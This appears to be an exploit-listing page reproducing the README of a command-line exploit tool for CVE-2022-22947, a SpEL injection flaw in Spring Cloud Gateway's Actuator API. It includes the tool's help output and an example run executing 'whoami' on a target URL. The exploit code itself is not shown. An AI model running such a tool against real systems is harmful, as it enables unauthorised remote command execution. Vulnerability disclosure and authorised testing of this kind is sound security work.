## https://sploitus.com/exploit?id=FBA7DE43-C816-5C81-9D69-0C4F1469B382
# cve-2022-22947
`Spring Cloud Gateway` is an API gateway in Spring. In versions 3.1.0 and 3.0.6 (and earlier), there was a vulnerability related to SpEL expression injection. This vulnerability could allow attackers to execute arbitrary commands, provided they had access to the Actuator API. **Usage:**
```
➜ ./cve-2022-22947 -h
Usage of cve-2022-22947:
-c string
Executes the command. Example: whoami (default "id")
-d Deletes a route. -r string
Creates a new route
-u string
Target URL. Example: http://127.0.0.1:8080
# Example
[>] Usage: ./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami -r exploit.
```
Problems encountered: https://darkb1rd.github.io/2022/03/07/yuque/cve-2022-22947%E5%B0%8F%E7%82%B9/
[source-iocs-preserved url=https://darkb1rd.github.io/2022/03/07/yuque/cve-2022-22947%20%E5%B0%8F%E7%82%B9/]